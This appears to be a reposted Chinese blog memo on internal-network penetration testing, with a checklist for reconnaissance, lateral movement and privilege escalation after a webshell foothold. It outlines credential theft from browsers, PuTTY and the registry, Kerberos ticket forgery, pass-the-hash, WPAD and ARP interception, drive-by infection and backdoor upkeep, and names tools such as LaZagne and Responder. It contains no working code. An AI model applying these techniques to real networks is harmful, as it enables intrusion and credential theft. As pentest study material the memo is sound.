​ 首先,利用 webshell 執行開篇的命令收集內網前期信息(不局限用 webshell),也可以用 msf 等平台,或 powershell 收集信息,判斷機器所處區域,是 DMZ 區,還是辦公區,核心 DB等;機器作用是文件服務器,Web,測試服務器,代理服務,還是 DNS,DB 等;網絡連通性,文中也提到測試 dns,tcp,http 等命令,理清內網拓撲圖,網段,掃描內網,路由,交換機,端口等判斷是域還是組,組的話,用常見 web 方法,域的話 gpp,kerberos,黃金白銀票據,抓密碼,這裡注意密碼有的有空格,pth,ptk,spn 掃描,ipc,445,web 漏洞,各種未授權,密碼相同,歷史命令等,期間會遇到提權,bypass uac,bypass av。

某些大佬語錄

利用漏洞配置不當獲取更多主機權限
常見應用漏洞:
struts2、zabbix、axis、ImageMagic、fastcgi、Shellshock、redis 未授權訪問、Hadoop、weblogic、jboss、WebSphere、Coldfusion
常見語言反序列化漏洞
php、Java、python、ruby、node.js
數據庫漏洞及配置不當
mssql Get-SQLServerAccess、MySQL 低版本 hash 登陸、MySQL 低版本Authentication Bypass、域內 mssql 憑證獲取密碼、monggodb 未授權訪問、memcache 配置不當
內網中很多 web 應用存在常見漏洞、使用有漏洞的中間件和框架、弱口令及配置不當(注入、任意文件讀取、備份、源碼泄漏(rsync、git、svn、DS_Store)、代碼執行、xss、弱口令、上傳漏洞、權限繞過…)
web應用、及數據庫中尋找其他服務器密碼信息(ftp、mail、smb、ldap存儲、sql…)
系統備份文件(ghost)中讀密碼
在已有控制權限主機中,查看各瀏覽器書籤、cookie、存儲密碼、鍵盤記錄收集相關敏感信息、查詢註冊表中保存密碼、讀取各客戶端連接密碼、putty dll注入、putty 密碼截取、ssh 連接密碼,以獲取更多主機權限
推薦工具:NetRipper、Puttyrider.exe、ProwserPasswordDump.exe、LaZagne.exe
ms08-067 遠程溢出(極少能碰到)
cmdkey /list 遠程終端可信任連接連接 netpass.exe 讀取該密碼
arp欺騙中間人攻擊(替換 sql 數據包、認證憑證獲取、密碼獲取極大不到萬不得已不會用)
WPAD 中間人攻擊(全稱網絡代理自動發現協議、截獲憑證該種方法不需要ARP欺騙,比較好用的一種方法(使用Responder.py/net-creds.py))
翻閱相關文件及以控制數據庫中可能存儲配置口令(別忘了回收站)
用已有控制權限的郵箱賬號以及前期所了解到的信息進行欺騙(社會工程學)
定向瀏覽器信息ip信息定向掛馬(0day)
用以收集的密碼(組合變換密碼)對各服務進行爆破
其他用戶 session,3389 和ipc 連接記錄 各用戶回收站信息收集
host 文件獲取和 dns 緩存信息收集 等等
殺軟 補丁 進程 網絡代理信息 wpad 信息。軟件列表信息
計劃任務 賬號密碼策略與鎖定策略 共享文件夾 web 服務器配置文件
vpn 歷史密碼等 teamview 密碼等 啟動項 iislog 等等

主動手段 就是 snmp 掃交換機路由網絡設備(有 tcp 連接存活表列 一般可以定位到經常訪問的服務ip)
遍歷 內網的所有段 + tracert 跟蹤路由 一下拓撲基本就清楚了
被動手段就是上內部通訊平台 一般是郵箱
如果是有堡壘隔離和 vlan 隔離的還要拿到相應權限網絡設備做管道穿越才行 通訊都做不了就不要談後續滲透了
橫向滲透 smb 感染 pdf doc +RDP 感染管理機 動靜小一點就插管道連接釣 NTHASH
域控只能看看 普通用戶機上有沒有令牌可以偽造 ms14-068 是否存在

搜集的信息列出來,就不貼了:

服務器當前所在網段的所有主機端口
服務器ARP緩存
服務器上的服務
內網中其他HTTP服務
滿足容易利用的漏洞端口 (MS17010 / 445)
抓包嗅探還是很有必要的 (千萬不要ARP %@#@@651#@^#@@#@@###@@!)
共享文件
密碼

在行動之前思考幾分鐘,有沒有更好的辦法
思考一個問題多個解決方案的利弊
盡量快速熟悉網絡環境 -> [前提是你已經熟悉了服務器環境]
對日誌要時刻保持敏感
看子網掩碼、計算子網大小,判斷有沒有VLAN
選取自己熟悉的協議進行信息搜集
網絡命令一定要熟
對於後門要加強維護
你必須保證你花費98%的時間都在了解他們
學習使用Powershell和熟練掌握端口轉發

滲透測試的本質是信息收集

擴展閱讀

https://github.com/tom0li/collection-document


转载请注明:IAMCOOL » 內網備忘錄

0 0 vote
Article Rating
Subscribe
Notify of
0 Comments
Inline Feedbacks
View all comments
0
Would love your thoughts, please comment.x
()
x